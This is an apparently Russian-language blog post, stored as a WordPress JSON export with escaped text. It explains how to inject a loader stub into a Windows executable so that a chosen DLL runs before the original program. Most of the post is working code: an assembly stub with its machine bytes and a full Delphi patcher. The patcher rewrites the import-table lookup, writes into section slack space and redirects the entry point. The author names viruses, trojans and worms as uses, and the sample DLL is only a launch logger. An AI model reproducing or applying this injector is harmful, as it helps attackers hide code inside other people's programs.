\u0418\u043d\u043e\u0433\u0434\u0430 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0431\u044b \u043a\u0430\u043a\u0430\u044f-\u043b\u0438\u0431\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0430\u0441\u044c \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u043e \u0441 \u0434\u0440\u0443\u0433\u043e\u0439 \u0438\u043b\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043f\u043e\u0434\u0433\u0440\u0443\u0436\u0430\u043b\u0430 \u043d\u0430\u0448\u0443 DLL\u2019\u043a\u0443. \u042d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0448\u0438\u0440\u043e\u043a\u043e\u043c \u0441\u043f\u0435\u043a\u0442\u0440\u0435 \u0437\u0430\u0434\u0430\u0447: \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u043e\u0442 \u043f\u0440\u043e\u0441\u0442\u043e\u0433\u043e \u0432\u0438\u0440\u044f\/\u0442\u0440\u043e\u044f\u043d\u0430\/worm\u2019\u0430 \u0438 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u044f \u043a\u0430\u043a\u043e\u0439-\u043d\u0438\u0431\u0443\u0434\u044c \u043f\u0440\u043e\u0433\u043e\u0439 \u0434\u043b\u044f \u0441\u043b\u0435\u0436\u0435\u043d\u0438\u044f \u0437\u0430 \u0442\u0440\u0430\u0444\u0438\u043a\u043e\u043c, \u0438\u043b\u0438 \u0434\u0430\u0436\u0435 \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u2013 \u0431\u0443\u0434\u0435\u043c \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0438 \u0435\u0441\u043b\u0438 \u043e\u043d \u043f\u0440\u0430\u0432\u0438\u043b\u0435\u043d \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u0443 (\u043f\u0440\u0438 \u0436\u0435\u043b\u0430\u043d\u0438\u0438 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0433\u0443 \u043c\u043e\u0436\u043d\u043e \u0435\u0449\u0451 \u0438 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u0442\u044c, \u0430 \u043f\u0440\u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u043c \u043f\u0430\u0441\u0441\u0435 — \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0442\u044c). \u0422\u0430\u043a \u0447\u0442\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0444\u0438\u0448\u043a\u0438 \u043c\u043d\u043e\u0433\u043e. \u0414\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0430\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0433\u043e, \u043c\u044b \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u0441\u0432\u043e\u0435\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u201c\u0436\u0435\u0440\u0442\u0432\u0443-\u0441\u043e\u0444\u0442\u0438\u043d\u0443\u201d. \u042d\u0442\u043e\u0442 \u043a\u043e\u0434 \u0431\u0443\u0434\u0435\u0442 \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u0438\u043c \u0438 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u043c\u0435\u043d\u044f\u0442\u044c \u0440\u0430\u0437\u043c\u0435\u0440 \u201c\u0436\u0435\u0440\u0442\u0432\u044b\u201d. \u041e\u043d \u0431\u0443\u0434\u0435\u0442 \u0432\u0441\u0435\u0433\u043e \u043b\u0438\u0448\u044c \u043f\u043e\u0434\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u043d\u0430\u0448\u0443 \u0434\u043b\u043b\u043a\u0443. \u041f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u0442 \u043d\u0430\u0448 \u043a\u043e\u0434, \u0430 \u043f\u043e\u0442\u043e\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442 (\u0438\u043b\u0438 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442) \u0438\u0441\u0445\u043e\u0434\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430. (\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0441\u0438\u043b\u044c\u043d\u043e \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f :))
\n\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043c\u0441\u044f \u0441 \u0432\u043d\u0435\u0434\u0440\u044f\u0435\u043c\u044b\u043c \u043a\u043e\u0434\u043e\u043c. \u041e\u043d \u0431\u0443\u0434\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 LoadLibraryA \u0438\u043c\u044f \u043f\u043e\u0434\u0433\u0440\u0443\u0436\u0430\u0435\u043c\u043e\u0439 DLL\u2019\u043a\u0438, \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c LoadLibraryA \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 (\u043f\u0440\u044b\u0436\u043e\u043a \u043d\u0430 Original Entry Point). \u041f\u0443\u0441\u0442\u044c \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0447\u0442\u043e-\u0442\u043e \u0432\u0440\u043e\u0434\u0435 \u044d\u0442\u043e\u0433\u043e:<\/p>\n
db 0E8h
\ndd 00000000 \/\/ \u044d\u0442\u043e call $+5; \u041e\u043d \u043d\u0443\u0436\u0435\u043d \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430 EIP
\npop ecx \/\/ \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c EIP
\nadd ecx,13 \/\/ \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0430\u0434\u0440\u0435\u0441 \u0438\u043c\u0435\u043d\u0438 DLL\u2019\u043a\u0438
\npush ecx \/\/ \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u043c \u0435\u0433\u043e \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 LoadLibraryA
\ncall [$00403344] \/\/ \u0432\u044b\u0437\u043e\u0432 LoadLibraryA. (\u0430\u0434\u0440\u0435\u0441 \u0432\u044b\u0437\u043e\u0432\u0430 \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b)
\njmp ProgStart
\ndb 4Dh db 79h db 4Fh db 77h db 6Eh db 2Eh db 64h db 6Ch db 6Ch db 0h \/\/ \u0437\u0434\u0435\u0441\u044c \u0438\u043c\u044f DLL\u2019\u043a\u0438. (\u0432 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 MyOwn.dll + #0)
\nProgStart:
\ndb 0e9h db 0 db 0 db 0 db 0 \/\/ \u044d\u0442\u043e \u043f\u0440\u044b\u0436\u043e\u043a \u043d\u0430 Original Entry Point. (\u0432 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u043c \u0442\u043e\u0436\u0435 \u043c\u043e\u0434\u0438\u0432\u0438\u0446\u0438\u0440\u0443\u0435\u043c).<\/p>\n
\u042d\u0442\u043e\u0442 \u043a\u043e\u0434 \u043d\u0443\u0436\u043d\u043e \u043e\u0442\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0442\u044c, \u0447\u0442\u043e \u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043a\u043e\u0434:<\/p>\n
:004033AC E800000000 call 004033B1
\n:004033B1 59 pop ecx
\n:004033B2 83C10C add ecx, 0000000C
\n:004033B5 51 push ecx<\/p>\n
:004033B6 E889FFFFFF Call 00403344 \/\/ \u044d\u0442\u043e\u0442 \u0430\u0434\u0440\u0435\u0441 \u043c\u044b \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u043c. (LoadLibraryA)
\n:004033BB EB0A jmp 004033C7
\n:004033BD 4D dec ebp
\n:004033BE 794F jns 0040340F
\n:004033C0 776E ja 00403430
\n:004033C2 2E BYTE 02eh<\/p>\n
:004033C3 64 BYTE 064h<\/p>\n
:004033C4 6C insb
\n:004033C5 6C insb
\n:004033C6 00E9 add cl, ch
\n:004033C8 00000000 BYTE 4 DUP(0)<\/p>\n
\u0427\u0442\u043e \u0436\u2026 \u0422\u0435\u043f\u0435\u0440\u044c \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044e \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u0447\u0430\u0441\u0442\u0438.
\n\u041d\u0435\u043c\u043d\u043e\u0433\u043e \u0442\u0435\u043e\u0440\u0438\u0438: \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u043c\u0443\u044e \u043f\u0440\u043e\u0433\u0443, \u043d\u0430\u0439\u0442\u0438 \u0432 \u0435\u0451 \u0442\u0430\u0431\u043b\u0438\u0446\u0435 \u0438\u043c\u043f\u043e\u0440\u0442\u0430 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 LoadLibraryA, \u043d\u0430\u0439\u0442\u0438 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u0435 \u043c\u0435\u0441\u0442\u043e, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043c\u044b \u0437\u0430\u043f\u0438\u0448\u0435\u043c \u043a\u043e\u0434 (\u0432 95% \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u0435\u0441\u0442\u044c \u201c\u0446\u0435\u043b\u0438\u043d\u043d\u044b\u0435 \u0443\u0447\u0430\u0441\u0442\u043a\u0438\u201d \u0432 \u0441\u0435\u043a\u0446\u0438\u044f\u0445 .text, CODE, DATA \u0438\u043b\u0438 .data). \u041f\u043e\u043c\u0435\u043d\u044f\u0442\u044c Original Entry Point \u043d\u0430 \u043d\u0430\u0448.
\n\u0412\u043e\u0442 \u043f\u0440\u0438\u043c\u0435\u0440 \u043a\u043e\u0434\u0430:<\/p>\n
program Exefiles;<\/p>\n
{$APPTYPE CONSOLE}
\nuses
\nwindows, ImageHlp;<\/p>\n
type IMAGE_IMPORT_DESCRIPTOR=record \/\/ \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435 \u0438\u043c\u043f\u043e\u0440\u0442\u0430
\nOriginalFirstThunk: DWORD;
\nTimeDateStamp : DWORD;
\nForwarderChain : DWORD;
\nName : DWORD;
\nFirstThunk : DWORD;
\nend;<\/p>\n
TOE=record \/\/ \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0441\u0435\u043a\u0446\u0438\u0438
\nName:array[0..7] of char;
\nSizeOfSect:dword;
\nRVA:dword;
\nRealSize:dword;
\nRVAinPE:dword;
\na:array[0..11] of byte;
\nAttr:dword;
\nend;<\/p>\n
const FuncName=’LoadLibraryA’;<\/p>\n
var s:array[0..12] of char;
\nh:integer;
\noe:toe;
\n_:IMAGE_DOS_HEADER;
\nIOH:IMAGE_NT_HEADERS;
\n__,hel:cardinal;
\nLLA:dword;
\na,i:shortint;
\niid: IMAGE_IMPORT_DESCRIPTOR;
\nSavedRVA,NewRVA:cardinal;
\nmas:array[0..11] of byte=($E8,0,0,0,0,$59,$83,$C1,$0d,$51,$FF,$15); \/\/ \u043d\u0430\u0448 \u043a\u043e\u0434
\nmas1:array[0..18] of byte=($EB,$0A,$4D,$79,$4F,$77,$6E,$2E,$64,$6C,$6C,0,$90,$90,$90,$90,$90,$90,$E9); \/\/ \u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u043b \u043a\u043e\u0434 nop\u2019\u0430\u043c\u0438. (\u0427\u0442\u043e \u0431 \u0432 Win32Dasm \u0432\u0441\u0451 \u0432\u0438\u0434\u043d\u043e \u0431\u044b\u043b\u043e)<\/p>\n
\/\/ \u0417\u0430 RVA2Offset & Offset2RVA \u0441\u043f\u0430\u0441\u0438\u0431\u043e R4D][ :)
\nfunction RVA2Offset(hFile: THANDLE;RVA: Cardinal): Cardinal;
\nvar
\nBase: Pointer;
\nISH : PIMAGESECTIONHEADER;
\nINH : PIMAGENTHEADERS;
\nhFM : THANDLE;
\nbegin
\nResult:=0;
\nhFM:=CreateFileMapping(hFile,nil,PAGE_READONLY,0,0,nil);
\nBase:=MapViewOfFile(hFM,FILE_MAP_READ,0,0,0);
\nif Base=nil then
\nbegin
\nUnMapViewOfFile(Base);
\nCloseHandle(hFM);
\nexit;
\nend;
\nINH:=ImageNTHeader(Base);
\nif INH=nil then
\nbegin
\nUnMapViewOfFile(Base);
\nCloseHandle(hFM);
\nexit;
\nend;
\nISH:=ImageRVAToSection(INH,Base,RVA);
\nif ISH=nil then
\nbegin
\nUnMapViewOfFile(Base);
\nCloseHandle(hFM);
\nexit;
\nend;
\nResult:=RVA-ISH.VirtualAddress+ISH.PointerToRawData;
\nUnMapViewOfFile(Base);
\nCloseHandle(hFM);
\nend;<\/p>\n
function Offset2RVA(hFile: THANDLE;Offset: Cardinal): Cardinal;
\nvar
\nBase: Pointer;
\nISH : PIMAGESECTIONHEADER;
\nINH : PIMAGENTHEADERS;
\nhFM : THANDLE;
\nx : Integer;
\nbegin
\nResult:=0;
\nhFM:=CreateFileMapping(hFile,nil,PAGE_READONLY,0,0,nil);
\nBase:=MapViewOfFile(hFM,FILE_MAP_READ,0,0,0);
\nif Base=nil then
\nbegin
\nUnMapViewOfFile(Base);
\nCloseHandle(hFM);
\nexit;
\nend;
\nINH:=ImageNTHeader(Base);
\nif INH=nil then
\nbegin
\nUnMapViewOfFile(Base);
\nCloseHandle(hFM);
\nexit;
\nend;
\nISH:=PIMAGESECTIONHEADER(DWORD(INH)+sizeof(IMAGE_NT_HEADERS));
\nfor x:=0 to INH.FileHeader.NumberOfSections do
\nbegin
\nif (Offset>=ISH.PointerToRawData) and (Offset<=ISH.PointerToRawData+ISH.SizeOfRawData) then break;
\ninc(ISH);
\nend;
\nResult:=Offset+ISH.VirtualAddress-ISH.PointerToRawData;
\nUnMapViewOfFile(Base);
\nCloseHandle(hFM);
\nend;<\/p>\n
begin
\nWriteln(‘Enter Exe-File name’);
\nReadln(s);
\nh:=Createfile(s,GENERIC_READ\tor GENERIC_WRITE, 0,nil,OPEN_EXISTING,0,0);
\nif h=-1 then begin
\nWriteln(‘Wrong handle’);
\nReadln;
\nexit;
\nend;
\nReadFile(h,_,sizeof(_),__,nil);
\nSetFilePointer(h,_._lfanew,0,FILE_BEGIN);
\nReadFile(h,IOH,sizeof(IOH),__,nil);
\nSavedRVA:=Rva2offset(h,ioh.OptionalHeader.AddressOfEntryPoint);
\nif ioh.Signature<>$00004550 then
\nbegin
\nwriteln(‘Wrong magic’);
\nreadln;
\nCloseHandle(h);
\nexit;
\nend;
\n__:=rva2offset(h,ioh.OptionalHeader.DataDirectory[1].VirtualAddress);
\n_._lfanew:=SetFilePointer(h,__,0,FILE_BEGIN);
\niid.FirstThunk:=1; \/\/ \u043b\u0435\u0437\u0435\u043c \u0432 \u0447\u0430\u043d\u043a\u0438 \u0438\u0441\u043a\u0430\u0442\u044c LoadLibrayA
\nwhile (s<>’LoadLibraryA’)and(iid.FirstThunk<>0) do begin
\nReadFile(h,IID,sizeof(IID),__,nil);
\ninc(_._lfanew,__);
\n__:=rva2offset(h,IID.Name);
\nSetFilePointer(h,__,0,FILE_BEGIN);
\nReadfile(h,s,12,__,nil);
\nif (s=’kernel32.dll’)or(s=’KERNEL32.dll’) then begin \/\/ Borland \u0438 Microsoft \u043f\u0438\u0448\u0443\u0442 kernel32 \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u043e \u0441\u0432\u043e\u0435\u043c\u0443
\nhel:=rva2offset(h,IID.FirstThunk);
\nrepeat
\nSetFilePointer(h,hel,0,FILE_BEGIN);
\nReadfile(h,LLA,4,__,nil);
\ninc(hel,__);
\n__:=rva2offset(h,LLA)+2;
\nSetFilePointer(h,__,0,FILE_BEGIN);
\nReadfile(h,s,12,__,nil);
\nuntil (s=FuncName)or(LLA=0);
\nend;
\nSetFilePointer(h,_._lfanew,0,FILE_BEGIN);
\nend;
\nif s<>FuncName then exit;
\nSetFilePointer(h,0,0,FILE_BEGIN); \/\/ \u043d\u0430\u0448\u043b\u0438 \u0430\u0434\u0440\u0435\u0441 LoadLibraryA’a \u0438 \u0442\u0435\u043f\u0435\u0440\u044c \u043c\u043e\u0436\u0435\u043c (\u0438 \u0434\u0430\u0436\u0435 \u0434\u043e\u043b\u0436\u043d\u044b :)) \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043a\u043e\u0434 \u0432 \u0444\u0430\u0439\u043b.
\nreadFile(h,_,sizeof(_),__,nil);
\nSetFilePointer(h,_._lfanew+sizeof(ioh),0,FILE_BEGIN);
\noe.SizeOfSect:=1;
\nwhile (((oe.Name<>’DATA’) and (oe.Name<>’.text’)and (oe.Name<>’CODE’) and (oe.Name<>’.data’))or (oe.RealSize-oe.SizeOfSect<40))and (oe.SizeOfSect<>0) do \/\/ \u0411\u0443\u0434\u0435\u043c \u043f\u043e\u043c\u0435\u0449\u0430\u0442\u044c \u043a\u043e\u0434 \u0432 \u0441\u0435\u043a\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u043b\u0438 \u043a\u043e\u0434\u0430. \u0422\u0430\u043a \u0436\u0435 \u043d\u0430\u043c \u0432\u0430\u0436\u0435\u043d \u0438 \u0440\u0430\u0437\u043c\u0435\u0440 \u043d\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 \u0441\u0435\u043a\u0446\u0438\u0438. (\u0447\u0442\u043e \u0431 \u043d\u0430\u0448 \u043a\u043e\u0434 \u043f\u043e\u043c\u0435\u0441\u0442\u0438\u043b\u0441\u044f)
\nreadfile(h,oe,sizeof(oe),__,nil);
\nif oe.Name=» then exit;
\nnewRva:=SetFilePointer(h,rva2offset(h,oe.RVA)+oe.SizeOfSect,0,FILE_BEGIN); \/\/ \u0422\u0435\u043f\u0435\u0440\u044c \u0432\u0441\u0451 \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u043c \u0438 \u043f\u0438\u0448\u0435\u043c
\nWritefile(h,mas,sizeof(mas),__,nil);
\nhel:=Offset2Rva(h,hel)+ioh.OptionalHeader.ImageBase -4;
\nWritefile(h,hel,sizeof(hel),__,nil);
\nWritefile(h,mas1,sizeof(mas1),__,nil);
\nioh.OptionalHeader.AddressOfEntryPoint:=ioh.OptionalHeader.AddressOfEntryPoint-Offset2Rva(h,SetFilePointer(h, 0, 0, FILE_CURRENT)+4);\/\/ \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u043f\u0440\u044b\u0436\u043a\u0430. \u041e\u043d\u043e \u0440\u0430\u0432\u043d\u043e \u0440\u0430\u0437\u043d\u043e\u0441\u0442\u0438 \u043c\u0435\u0436\u0434\u0443 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c RVA \u0438 Original RVA. Writefile(h,ioh.OptionalHeader.AddressOfEntryPoint,sizeof(ioh.OptionalHeader.AddressOfEntryPoint),__,nil); \/\/ \u0442\u0435\u043f\u0435\u0440\u044c \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c \u0432\u0441\u0435 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.
\nnewrva:=Offset2Rva(h, newrva);
\nSetFilePointer(h, 0, 0, FILE_BEGIN);
\nreadFile(h, _, sizeof(_), __, nil);
\nSetFilePointer(h, _._lfanew, 0, FILE_BEGIN);
\nioh.OptionalHeader.AddressOfEntryPoint:=newrva;
\nWritefile(h, ioh, sizeof(ioh), __, nil);
\nCloseHandle(h);
\nend.<\/p>\n
\u041a\u043e\u0434 DLL\u2019\u043a\u0438 \u0436\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043c\u044b \u043f\u0438\u0448\u0435\u043c. \u042f \u0434\u043b\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u0430 \u043d\u0430\u043f\u0438\u0441\u0430\u043b DLL\u2019\u043a\u0443 \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u0435\u0434\u0451\u0442 \u043b\u043e\u0433 \u0437\u0430\u043f\u0443\u0441\u043a\u043e\u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b:<\/p>\n
library MyOwn;<\/p>\n
uses
\nwindows, sysutils;<\/p>\n
var f:text;
\nbegin
\nassignfile(f, ‘test.txt’);
\nif fileexists(‘test.txt’)then append(f)
\nelse rewrite(f);
\nwriteln(f, datetimetostr(now));
\nclosefile(f);
\nend.<\/p>\n
\u0412\u043e\u0442 \u0438 \u0432\u0441\u0451! \u042d\u0442\u043e\u0442 \u043f\u0440\u0438\u043c\u0435\u0440 \u043a\u0430\u0436\u0434\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0434 \u0441\u0432\u043e\u0438 \u043d\u0443\u0436\u0434\u044b. \u0415\u0441\u043b\u0438 \u0435\u0441\u0442\u044c \u0432\u043e\u043f\u0440\u043e\u0441\u044b\/\u043f\u043e\u0436\u0435\u043b\u0430\u043d\u0438\u044f\/\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u2013 \u043f\u0438\u0448\u0438\u0442\u0435.<\/p>\n","protected":false},"excerpt":{"rendered":"
\u0418\u043d\u043e\u0433\u0434\u0430 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0431\u044b \u043a\u0430\u043a\u0430\u044f-\u043b\u0438\u0431\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0430\u0441\u044c \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u043e \u0441 \u0434\u0440\u0443\u0433\u043e\u0439 \u0438\u043b\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043f\u043e\u0434\u0433\u0440\u0443\u0436\u0430\u043b\u0430 \u043d\u0430\u0448\u0443 DLL\u2019\u043a\u0443. \u042d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0448\u0438\u0440\u043e\u043a\u043e\u043c \u0441\u043f\u0435\u043a\u0442\u0440\u0435 \u0437\u0430\u0434\u0430\u0447: \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u043e\u0442 \u043f\u0440\u043e\u0441\u0442\u043e\u0433\u043e \u0432\u0438\u0440\u044f\/\u0442\u0440\u043e\u044f\u043d\u0430\/worm\u2019\u0430 \u0438 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u044f \u043a\u0430\u043a\u043e\u0439-\u043d\u0438\u0431\u0443\u0434\u044c \u043f\u0440\u043e\u0433\u043e\u0439 \u0434\u043b\u044f \u0441\u043b\u0435\u0436\u0435\u043d\u0438\u044f \u0437\u0430 \u0442\u0440\u0430\u0444\u0438\u043a\u043e\u043c, \u0438\u043b\u0438 \u0434\u0430\u0436\u0435 \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u2013 \u0431\u0443\u0434\u0435\u043c \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0438 \u0435\u0441\u043b\u0438 \u043e\u043d \u043f\u0440\u0430\u0432\u0438\u043b\u0435\u043d \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u0443 (\u043f\u0440\u0438 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"http:\/\/it-freelance.ru\/index.php?rest_route=\/wp\/v2\/posts\/11"}],"collection":[{"href":"http:\/\/it-freelance.ru\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/it-freelance.ru\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/it-freelance.ru\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/it-freelance.ru\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=11"}],"version-history":[{"count":0,"href":"http:\/\/it-freelance.ru\/index.php?rest_route=\/wp\/v2\/posts\/11\/revisions"}],"wp:attachment":[{"href":"http:\/\/it-freelance.ru\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=11"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/it-freelance.ru\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=11"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/it-freelance.ru\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=11"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}